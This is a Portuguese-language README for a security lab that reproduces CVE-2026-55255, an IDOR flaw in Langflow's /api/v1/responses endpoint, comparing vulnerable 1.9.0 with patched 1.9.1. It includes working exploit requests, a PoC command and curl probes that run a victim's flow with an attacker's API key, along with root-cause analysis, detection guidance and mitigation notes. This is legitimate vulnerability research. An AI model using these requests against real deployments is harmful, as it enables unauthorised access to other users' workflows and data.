rootdirective-sec/cve-2026-55255-labLaboratório Docker local para reproduzir CVE-2026-55255, uma vulnerabilidade IDOR na API de Respostas do Langflow. Valida a execução de fluxo entre usuários em versões vulneráveis vs. corrigidas com um PoC baseado em requisição.
/api/v1/responsesEste repositório contém um laboratório Docker local para reproduzir e validar CVE-2026-55255, uma vulnerabilidade de Referência Direta Insegura a Objetos (IDOR) que afeta a API Responses compatível com OpenAI do Langflow.
Langflow é uma plataforma de código aberto para construir e implantar agentes e fluxos de trabalho baseados em IA. O comportamento vulnerável afeta o endpoint /api/v1/responses, onde um atacante autenticado pode fornecer o UUID do fluxo de outro usuário como o valor model e fazer com que o Langflow execute aquele fluxo pertencente à vítima.
Este laboratório compara duas versões do Langflow:
| Serviço | Versão do Langflow | Propósito | URL |
|---|---|---|---|
| vuln | 1.9.0 | Alvo de comparação vulnerável | http://localhost:7860 |
| patched | 1.9.1 | Alvo de comparação corrigido | http://localhost:7861 |
O caminho de validação HTTP demonstrado neste laboratório local é:```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow
No alvo vulnerável, a chave de API do atacante pode executar o fluxo da vítima e a resposta contém o marcador exclusivo da vítima:```text
VICTIM_ONLY_CONTEXT_55255_VULN
No alvo corrigido, a mesma requisição cross-user não retorna o marcador da vítima e retorna um corpo de erro no estilo OpenAI:```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}
Este laboratório valida o comportamento HTTP vulnerável versus corrigido usando Langflow 1.9.0 e Langflow 1.9.1.
O laboratório é intencionalmente limitado a serviços Docker locais. Ele não visa sistemas externos e não inclui roubo de credenciais, extração de banco de dados, payloads destrutivos, callbacks externos, malware, persistência ou atividade pós-exploração.
## Fatos Verificados
| Afirmação | Evidência | Como verificar neste laboratório |
| ----- | -------- | ------------------------- |
| O CVE-2026-55255 afeta o endpoint `/api/v1/responses` do Langflow. | O GitHub Advisory GHSA-qrpv-q767-xqq2 descreve um IDOR em `/api/v1/responses`. | Revise a seção de Referências e execute o PoC contra ambos os alvos locais. |
| O GitHub Advisory lista versões afetadas como `< 1.9.1` e versão corrigida como `1.9.1`. | GitHub Advisory GHSA-qrpv-q767-xqq2. | Compare as versões vulnerável e corrigida dos alvos em `docker-compose.yml`. |
| Algumas fontes de vulnerabilidade downstream discordam sobre a versão exata corrigida. | GitHub/GitLab listam `1.9.1` como corrigida; algumas páginas de inteligência downstream mencionam `1.9.2` ou contêm texto misto. | Revise a seção de Referências e confie na validação do laboratório para o comportamento testado com 1.9.1. |
| Este laboratório usa Langflow 1.9.0 como alvo de comparação vulnerável. | O serviço `vuln` usa `langflowai/langflow:1.9.0`. | Inspecione `docker-compose.yml` e execute `docker compose ps`. |
| Este laboratório usa Langflow 1.9.1 como alvo de comparação corrigido. | O serviço `patched` usa `langflowai/langflow:1.9.1`. | Inspecione `docker-compose.yml` e execute `docker compose ps`. |
| A API de Respostas do Langflow usa `POST /api/v1/responses`. | A documentação do Langflow descreve o endpoint da API de Respostas compatível com OpenAI. | Execute o PoC ou uma requisição curl manual contra `/api/v1/responses`. |
| A API de Respostas do Langflow aceita um ID de fluxo como o valor `model`. | A documentação do Langflow afirma que o valor `model` é substituído por um `flow_id`. | Inspecione o corpo da requisição do PoC. |
| As requisições à API do Langflow exigem uma chave de API através de `x-api-key`. | A documentação da API do Langflow descreve a autenticação por chave de API com o cabeçalho `x-api-key`. | Inspecione os cabeçalhos da requisição do PoC. |
| O PoC é baseado em requisições. | `poc/validate_idor.py` envia requisições HTTP e não chama Docker, Docker Compose, comandos shell ou APIs de contêiner. | Inspecione `poc/validate_idor.py`. |
| O alvo vulnerável executa um fluxo pertencente à vítima com uma chave de API do atacante. | A resposta vulnerável retorna `VICTIM_ONLY_CONTEXT_55255_VULN`. | Execute o comando PoC vulnerável com o ID de fluxo da vítima e a chave de API do atacante. |
| O alvo corrigido bloqueia o mesmo caminho de execução entre usuários. | A resposta corrigida retorna `error.code = flow_not_found` e não retorna o marcador da vítima. | Execute o comando PoC corrigido com o ID de fluxo da vítima e a chave de API do atacante. |
## Suposições e Desconhecidos
Este laboratório usa Langflow 1.9.0 como alvo de comparação vulnerável porque o GitHub Advisory GHSA-qrpv-q767-xqq2 identifica versões anteriores a 1.9.1 como afetadas, e testes locais confirmaram o comportamento vulnerável na versão 1.9.0.
Este laboratório usa Langflow 1.9.1 como alvo de comparação corrigido porque o GitHub Advisory GHSA-qrpv-q767-xqq2 lista 1.9.1 como a versão corrigida, e testes locais confirmaram que 1.9.1 bloqueia o caminho de execução `/api/v1/responses` entre usuários testado com `flow_not_found`.
Há uma discrepância de versão entre as fontes. Os avisos do GitHub e GitLab listam versões anteriores a 1.9.1 como afetadas e 1.9.1 como corrigida. Algumas páginas de inteligência de vulnerabilidade downstream mencionam 1.9.2 ou contêm texto misto em relação à versão corrigida. Este repositório documenta essa discrepância e valida o comportamento testado diretamente:```text
Langflow 1.9.0
→ attacker API key + victim flow UUID
→ victim marker returned
→ vulnerable behavior observed
Langflow 1.9.1
→ attacker API key + victim flow UUID
→ flow_not_found
→ victim marker not returned
→ blocked behavior observed
Este laboratório assume que o atacante já conhece um UUID de fluxo da vítima. O PoC não força IDs de fluxo por tentativa e erro, enumera fluxos ou tenta descobrir IDs de fluxo da vítima. Este laboratório foca no comportamento observável HTTP de:```text POST /api/v1/responses
com esta forma de requisição:```json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
O laboratório demonstra a execução não autorizada de fluxo entre usuários no alvo vulnerável e o comportamento bloqueado no alvo corrigido.
O laboratório não demonstra:
A causa raiz do CVE-2026-55255 é uma falha de autorização na lógica de resolução de fluxo do Langflow.
O endpoint /api/v1/responses aceita um UUID de fluxo através do campo model. Em versões vulneráveis, o caminho de busca de UUID dentro de get_flow_by_id_or_endpoint_name() poderia carregar um objeto Flow diretamente pela chave primária sem garantir que o Flow.user_id resolvido correspondesse ao usuário autenticado por chave de API.
O comportamento vulnerável pode ser resumido como:```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output
O comportamento corrigido pode ser resumido como:```text
Attacker owns API key
→ attacker sends POST /api/v1/responses
→ model contains victim-owned flow UUID
→ flow resolver loads candidate Flow
→ resolver compares Flow.user_id with authenticated API-key user id
→ cross-user lookup is treated as not found
→ response endpoint returns flow_not_found
→ victim-owned flow is not executed
A questão de segurança não é que o atacante pode chamar /api/v1/responses com seus próprios fluxos. Esse é um comportamento esperado. A questão é que um usuário autenticado com baixos privilégios pode fazer com que o endpoint execute um fluxo de propriedade de outro usuário quando o UUID do fluxo vítima é fornecido.
A lição de segurança é:```text Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.
## Análise do Código Fonte
O problema em nível de código-fonte foi confirmado comparando Langflow `v1.9.0` e `v1.9.1`.
As tags de código-fonte verificadas usadas para revisão foram:
| Versão | Git commit |
| ------- | ---------- |
| v1.9.0 | `a47f2ad17eb662e940c550cfccb64a87dddd7e0b` |
| v1.9.1 | `dc26d19c1ed5b2779a3a759f78a747f47089c534` |
O auxiliar relevante é:```python
async def get_flow_by_id_or_endpoint_name(flow_id_or_name: str, user_id: str | UUID | None = None) -> FlowRead:
No ramo UUID vulnerável, o fluxo foi carregado pelo ID:```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)
A verificação de segurança faltante era:```python
flow.user_id == authenticated_user.id
Sem essa verificação de proprietário, um UUID de fluxo válido era suficiente para resolver um objeto Flow mesmo que pertencesse a outro usuário. A versão corrigida adiciona normalização de user_id e impõe escopo de proprietário no caminho do UUID:```python
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
O comportamento importante é:```text
if the flow exists
and the flow belongs to another user
then treat it as not found
É por isso que a resposta do laboratório corrigido retorna:```json {"error":{"code":"flow_not_found"}}
em vez de executar o fluxo pertencente à vítima.
Para este laboratório, o comportamento vulnerável principal é o caminho de execução `/api/v1/responses` que atinge `get_flow_by_id_or_endpoint_name()` e resolve um UUID de fluxo pertencente à vítima sem impor a propriedade.
O patch também endurece as rotas de execução de fluxo relacionadas. Em `endpoints.py`, as rotas que anteriormente usavam o helper bruto como uma dependência do FastAPI foram alteradas de:```python
flow: Annotated[FlowRead, Depends(get_flow_by_id_or_endpoint_name)]
para wrappers autenticados como:```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
Essas alterações de wrapper são endurecimentos relacionados para outras rotas de execução de fluxo, como `/api/v1/run*`. Elas garantem que o auxiliar receba o ID do usuário autenticado em vez de depender de um parâmetro de solicitação simples. A correção principal demonstrada por este laboratório continua sendo a verificação de propriedade do lado do resolvedor dentro de `get_flow_by_id_or_endpoint_name()`.
A correção no nível do código-fonte, portanto, tem duas partes relacionadas:```text
Core resolver fix:
enforce owner scoping before returning a Flow object
Related route dependency hardening:
pass the authenticated API-key or session user's ID into the resolver
Langflow 1.9.1 reforça o caminho de resolução de fluxo vulnerável tratando consultas entre usuários como não encontradas e garantindo que as rotas de execução de fluxo relacionadas passem o contexto de usuário autenticado para o resolvedor.
A lógica central corrigida é:
``````python
if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id:
flow = None
O patch também adiciona dependências de wrapper autenticadas para rotas que precisam resolver fluxos:```python async def get_flow_for_api_key_user(...): return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)
async def get_flow_for_current_user(...): return await get_flow_by_id_or_endpoint_name(flow_id_or_name, current_user.id)
A mudança relevante para segurança é:```text
Before:
flow UUID
→ session.get(Flow, flow_id)
→ Flow object returned without owner scoping
→ downstream execution path can run victim-owned flow
After:
flow UUID
→ session.get(Flow, flow_id)
→ compare Flow.user_id with authenticated user id
→ cross-user result becomes None
→ shared not-found behavior fires
→ victim-owned flow is not executed
O patch também reduz a divulgação de informações. O acesso entre usuários é tratado como não encontrado, em vez de retornar uma resposta de autorização distinta que poderia revelar se o fluxo de outro usuário existe.
Este laboratório mantém a revisão de código fonte e a validação em tempo de execução separadas:```text Source patch review: explains why the vulnerable resolver could return a victim-owned flow.
Runtime validation: proves the vulnerable target executes the victim-owned flow and the patched target does not.
## Arquitetura do Laboratório
O laboratório executa dois alvos Langflow isolados através do Docker Compose.```text
.
├── docker-compose.yml
├── poc/
│ └── validate_idor.py
├── seed/
│ ├── Dockerfile
│ └── seed.py
├── src/
│ ├── langflow-1.9.0/
│ └── langflow-1.9.1/
├── state/
│ ├── patched.json
│ ├── patched.ready
│ ├── vuln.json
│ └── vuln.ready
└── README.md
Os arquivos state/ são gerados pelos serviços de seed durante a inicialização do laboratório. O diretório src/ contém as árvores de código-fonte do Langflow verificadas usadas para verificação de diferenças de código-fonte.
Os dois serviços Langflow usam versões de aplicação separadas e bancos de dados SQLite separados dentro do contêiner:
Serviços expostos padrão:```text Vulnerable target: http://localhost:7860 Patched target: http://localhost:7861
| Alvo | Versão do Langflow | Comportamento esperado |
| --------------------- | -----------------: | ----------------- |
| http://localhost:7860 | 1.9.0 | chave de API do atacante pode executar fluxo pertencente à vítima |
| http://localhost:7861 | 1.9.1 | execução de fluxo de vítima entre usuários é bloqueada |
Os serviços de seed são executados automaticamente durante:```bash
docker compose up --build --wait
Eles criam:```text victim user attacker user attacker API key victim flow attacker flow state/vuln.json state/patched.json state/vuln.ready state/patched.ready
Os arquivos `state/*.json` gerados pela seed fornecem valores de teste locais descartáveis, como chaves de API e UUIDs de fluxo.
O PoC não lê `state/*.json`. O utilizador fornece o URL alvo, a chave de API, o ID do fluxo e o marcador esperado opcional através de argumentos de linha de comando.
O laboratório não cria nem modifica a rota vulnerável `/api/v1/responses`. Essa rota é fornecida pelo Langflow.
## Requisitos
* Docker Desktop ou Docker Engine
* Docker Compose v2 com suporte a `--wait`
* Python 3
* `jq` para os comandos de conveniência neste README
* Acesso à Internet durante a primeira obtenção da imagem Docker
Nenhum pacote Python de terceiros é necessário para o PoC. O PoC utiliza apenas módulos da biblioteca padrão do Python.
O container seed instala internamente o pacote Python `requests`. Esse pacote é usado apenas pelos serviços seed durante a configuração do laboratório, não pelo PoC.
## Início Rápido
Inicie o laboratório a partir de um estado limpo:```bash
docker compose down -v --remove-orphans
find state -type f \( -name "*.json" -o -name "*.ready" \) -delete
docker compose up --build --wait
Verificar status do serviço:```bash docker compose ps
Serviços saudáveis esperados:```text
cve-2026-55255-vuln
cve-2026-55255-patched
cve-2026-55255-seed-vuln
cve-2026-55255-seed-patched
Alvos expostos esperados:```text http://localhost:7860 http://localhost:7861
Verifique os arquivos de estado da semente:```bash
ls -la state
cat state/vuln.json | jq .
cat state/patched.json | jq .
Arquivos esperados:```text state/vuln.json state/vuln.ready state/patched.json state/patched.ready
Execute validação baseada em requisições contra o alvo vulnerável:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/vuln.json)" \
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
Execute validação baseada em requisições contra o alvo corrigido:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
## Uso do PoC
O PoC aceita uma URL alvo, uma chave de API, um ID de fluxo e um marcador esperado opcional:```bash
python3 poc/validate_idor.py \
--url <target_url> \
--api-key <api_key> \
--flow-id <target_flow_id> \
--expect-marker <expected_output_marker>
Required options:
| Option | Meaning |
|---|---|
--url | URL base do Langflow |
--api-key | Chave de API usada no cabeçalho x-api-key |
--flow-id | UUID do fluxo usado como valor model |
Optional options:
| Option | Meaning |
|---|---|
--expect-marker | Marcador esperado na resposta se o fluxo alvo for executado |
O PoC envia esta requisição HTTP:```text POST /api/v1/responses x-api-key: Content-Type: application/json
Corpo da requisição:```json
{
"model": "<target-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
O PoC é baseado em requisições. Ele não chama Docker, Docker Compose, comandos de shell, WP-CLI, APIs de contêiner ou Langflow seed APIs.
Neste laboratório, state/*.json pode ser usado para copiar as chaves de API locais descartáveis e os flow IDs para o comando do PoC. O próprio PoC não depende desses arquivos. As chaves de API em state/*.json são chaves de laboratório locais descartáveis; não use chaves de API de produção reais nestes comandos.
Comando:```bash
python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"
Sinal de alvo vulnerável esperado:```text
========================================================================================
[CVE-2026-55255 REQUEST-BASED VALIDATION]
[TARGET] http://localhost:7860
[FLOW_ID] <victim-flow-id>
[API_KEY] <redacted>
[REQUEST]
POST http://localhost:7860/api/v1/responses
x-api-key: <redacted>
Content-Type: application/json
{
"model": "<victim-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
[RESPONSE]
HTTP 200
flow execution observed : True
expected marker : VICTIM_ONLY_CONTEXT_55255_VULN
marker found : True
[BODY]
... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...
========================================================================================
[CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned.
FINAL: VULNERABLE_BEHAVIOR_OBSERVED
O sinal vulnerável importante é:```text attacker API key
### Alvo Corrigido
Comando:```bash
python3 poc/validate_idor.py \
--url "$(jq -r '.public_url' state/patched.json)" \
--api-key "$(jq -r '.attacker.api_key' state/patched.json)" \
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)" \
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"
[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7861 [FLOW_ID] [API_KEY]
[REQUEST] POST http://localhost:7861/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }
[RESPONSE] HTTP 200 flow execution observed : False expected marker : VICTIM_ONLY_CONTEXT_55255_PATCHED marker found : False error code : flow_not_found
[BODY] {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}
======================================================================================== [CLASSIFICATION] BLOCKED - target returned flow_not_found. FINAL: BLOCKED_BEHAVIOR_OBSERVED
O importante sinal corrigido é:```text
attacker API key
+ victim flow UUID
+ no victim marker
+ error.code = flow_not_found
Se --expect-marker for omitido e o destino retornar uma resposta Langflow concluída, o PoC reporta:```text
[CLASSIFICATION] FLOW_EXECUTION_OBSERVED - target returned a completed flow response.
[NOTE] Ownership of the supplied flow ID must be confirmed separately.
FINAL: FLOW_EXECUTION_OBSERVED
Isto significa que o fluxo alvo foi executado, mas o PoC não pode provar por si só que o ID de fluxo fornecido pertence a outro usuário. A propriedade deve ser confirmada através de dados de semente de laboratório, fonte do ID de fluxo ou outra evidência autorizada.
## Como funciona a validação
O validador envia um pedido HTTP POST para o endpoint da API Langflow Responses:```text
/api/v1/responses
O pedido usa a chave de API fornecida:```text x-api-key:
O corpo da solicitação usa o UUID do fluxo fornecido como o valor `model`:```json
{
"model": "<target-flow-id>",
"input": "cross-user CVE-2026-55255 validation request",
"stream": false
}
Comportamento vulnerável esperado:```text HTTP 200 response object status is completed error is null output contains victim-owned flow marker
Comportamento esperado após a correção:```text
request does not execute victim-owned flow
response does not contain victim marker
response indicates flow_not_found
Neste laboratório, Langflow 1.9.1 retorna HTTP 200 com um objeto de erro no estilo OpenAI:```json
{"error":{"code":"flow_not_found"}}
É por isso que o PoC verifica o código de erro JSON em vez de assumir que o status de transporte HTTP deve ser 404.
O PoC valida intencionalmente apenas a condição de execução do fluxo entre usuários. Ele não tenta descobrir IDs de fluxo, forçar UUIDs por força bruta, enumerar usuários, extrair segredos ou acionar serviços externos.
## Reprodução Manual via HTTP com curl
A semente do laboratório escreve valores locais descartáveis em `state/*.json`. Esses comandos usam esses valores locais para construir requisições curl. Os arquivos de estado são artefatos exclusivos do laboratório.
Sonda vulnerável:```bash
curl -i -sS -X POST \
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses" \
-H "Content-Type: application/json" \
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)" \
--data "{
\"model\": \"$(jq -r '.victim_flow.id' state/vuln.json)\",
\"input\": \"cross-user CVE-2026-55255 validation request\",
\"stream\": false
}"
Resultado vulnerável esperado:```text HTTP/1.1 200 OK ... "status":"completed" "error":null "VICTIM_ONLY_CONTEXT_55255_VULN"
Sonda corrigida:```bash
curl -i -sS -X POST \
"$(jq -r '.public_url' state/patched.json)/api/v1/responses" \
-H "Content-Type: application/json" \
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)" \
--data "{
\"model\": \"$(jq -r '.victim_flow.id' state/patched.json)\",
\"input\": \"cross-user CVE-2026-55255 validation request\",
\"stream\": false
}"
Resultado esperado após correção:```text HTTP/1.1 200 OK ... {"error":{"code":"flow_not_found"}}
## Impacto
CVE-2026-55255 é sensível em termos de segurança em implantações Langflow multiutilizador ou multi-inquilino porque um utilizador autenticado pode ser capaz de executar o fluxo de outro utilizador se o UUID do fluxo da vítima for conhecido.
O impacto potencial no mundo real depende do que o fluxo pertencente à vítima faz.
O possível impacto pode incluir:
* execução não autorizada do fluxo de trabalho de IA de outro utilizador,
* exposição de dados processados pelo fluxo da vítima,
* acesso ao prompt ou saída do fluxo de trabalho pertencente à vítima,
* uso de integrações ou componentes configurados pertencentes à vítima,
* consumo de recursos de computação ou API associados à vítima,
* desvio dos limites de autorização entre utilizadores ou entre inquilinos,
* e divulgação de informações através da saída do fluxo.
A exploração prática depende de o atacante conseguir obter um UUID de fluxo da vítima válido. A adivinhação de UUID de fluxo não é o foco deste laboratório, e o PoC não faz força bruta em IDs de fluxo.
Este laboratório demonstra apenas a falha segura do limite de autorização:```text
attacker API key
+ victim flow UUID
+ victim-only marker returned
O laboratório não demonstra acesso real a dados, acesso real a segredos, abuso de chaves de provedor LLM, callbacks externos ou pós-exploração.
Indicadores potenciais incluem requisições autenticadas a:```text POST /api/v1/responses
Padrão de requisição suspeito:```text
x-api-key belongs to user A
model contains flow UUID owned by user B
Ideia de detecção de alto sinal:```text POST /api/v1/responses AND request.model is a flow UUID AND authenticated API-key user does not own that flow UUID
Possíveis logs ou telemetria da camada de aplicação para revisar:
* proprietário da chave API,
* caminho da requisição,
* valor `model`,
* ID do fluxo resolvido,
* proprietário do fluxo resolvido,
* código de erro da resposta,
* respostas `flow_not_found`,
* respostas concluídas com sucesso de `/api/v1/responses`,
* tentativas incomuns de execução de fluxo entre usuários,
* tentativas repetidas contra muitos UUIDs de fluxo,
* e uso excepcionalmente alto da API por um usuário com baixos privilégios.
Exemplo de artefato de validação vulnerável:```text
Request:
POST /api/v1/responses
x-api-key: attacker user's API key
model: victim user's flow UUID
Response:
status: completed
error: null
output contains victim-only marker
Exemplo de artefato de validação corrigido:```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID
Response: error.code: flow_not_found victim marker not returned
Ações de monitoramento recomendadas:
* Revise os logs da API para `/api/v1/responses`.
* Correlacione o proprietário da chave API com o proprietário do fluxo solicitado.
* Alerte sobre uso de UUID de fluxo entre usuários.
* Revise picos de `flow_not_found` na API de Respostas.
* Revise o uso excepcionalmente alto da API por usuários recém-criados ou com privilégios baixos.
* Revise canais públicos ou compartilhados onde UUIDs de fluxo possam estar expostos.
* Gire as chaves API afetadas se houver suspeita de uso indevido.
* Revise fluxos de propriedade da vítima em busca de conectores, ferramentas ou fontes de dados sensíveis.
## Mitigação e Notas de Correção
Atualize o Langflow para uma versão corrigida.
O Aviso GitHub GHSA-qrpv-q767-xqq2 lista o Langflow 1.9.1 como corrigido para CVE-2026-55255. Algumas fontes downstream de inteligência de vulnerabilidades mencionam a versão 1.9.2 ou contêm redação mista em relação à versão corrigida. Este laboratório valida que o Langflow 1.9.1 bloqueia o caminho de execução entre usuários testado em `/api/v1/responses` com `flow_not_found`. Para ambientes de produção, atualize para a versão mais recente disponível do Langflow, em vez de parar na versão de comparação do laboratório.
Etapas de mitigação recomendadas:
* Atualize o Langflow para uma versão corrigida ou a mais recente disponível.
* Confirme que a versão instalada não está na faixa afetada.
* Restrinja a exposição do Langflow a redes confiáveis sempre que possível.
* Exija autenticação para rotas da API.
* Revise e gire chaves API se houver suspeita de exploração.
* Revise a propriedade do fluxo e a configuração de compartilhamento.
* Revise os logs em busca de requisições entre usuários em `/api/v1/responses`.
* Evite expor UUIDs de fluxo desnecessariamente.
* Trate bloqueios de proxy reverso ou WAF como controles temporários, e não como substitutos para a atualização.
* Em ambientes multi-inquilino, teste se usuários com chave API não podem executar fluxos que não possuem.
Lições de engenharia de segurança:
* Não confie no sigilo do UUID do objeto como um controle de autorização.
* Escopo da busca de objetos pelo principal autenticado.
* Imponha verificações de propriedade antes de usar objetos resolvidos.
* Evite usar auxiliares de resolução genéricos diretamente como dependências de rota quando exigirem contexto autenticado.
* Trate respostas de "não encontrado" com cuidado para evitar divulgação de existência do objeto.
* Adicione testes de regressão para acesso a objetos entre usuários.
## Limites de Segurança
Este laboratório é apenas para pesquisa de segurança local e demonstração controlada.
Não execute o PoC ou requisições curl manuais contra sistemas que você não possui ou para os quais não tem autorização explícita para testar.
Não use credenciais reais de produção, dados de clientes, dados de pagamento, chaves API, chaves de provedores LLM, credenciais de banco de dados ou segredos de produção neste laboratório.
O escopo pretendido é limitado a serviços Docker locais, como:```text
http://localhost:7860
http://localhost:7861
http://127.0.0.1:7860
http://127.0.0.1:7861
O PoC é intencionalmente baseado em requisições. Ele não chama Docker, Docker Compose, comandos shell, WP-CLI ou APIs de contêiner.
O laboratório não inclui payloads para:
O objetivo é demonstrar uma condição técnica específica em um ambiente controlado:```text HTTP request
## Referências
* Registro CVE: CVE-2026-55255
https://www.cve.org/CVERecord?id=CVE-2026-55255
* Aviso GitHub: GHSA-qrpv-q767-xqq2
https://github.com/advisories/GHSA-qrpv-q767-xqq2
* Aviso GitLab: CVE-2026-55255
https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/
* Pull Request do Langflow: fix(security): close IDOR em get_flow_by_id_or_endpoint_name (LE-639) #12832
https://github.com/langflow-ai/langflow/pull/12832
* Documentação da API Langflow OpenAI Responses
https://docs.langflow.org/api-openai-responses
* Documentação de Chaves de API e Autenticação do Langflow
https://docs.langflow.org/api-keys-and-authentication
* Exemplos de Referência da API Langflow
https://docs.langflow.org/api-reference-api-examples
* Repositório Langflow no GitHub
https://github.com/langflow-ai/langflow
* Imagem Docker do Langflow
https://hub.docker.com/r/langflowai/langflow
* Nota do Plugin Tenable para GHSA-qrpv-q767-xqq2
https://www.tenable.com/plugins/container-security/443659
* Inteligência de Vulnerabilidades Mondoo: CVE-2026-55255
https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255
| Serviço | Componente | Versão / Função |
|---|
| vuln | Langflow | aplicativo alvo vulnerável |
| patched | Langflow | aplicativo de comparação corrigido |
| seed-vuln | Python | cria usuários locais, chaves de API, fluxos |
| seed-patched | Python | cria usuários locais, chaves de API, fluxos |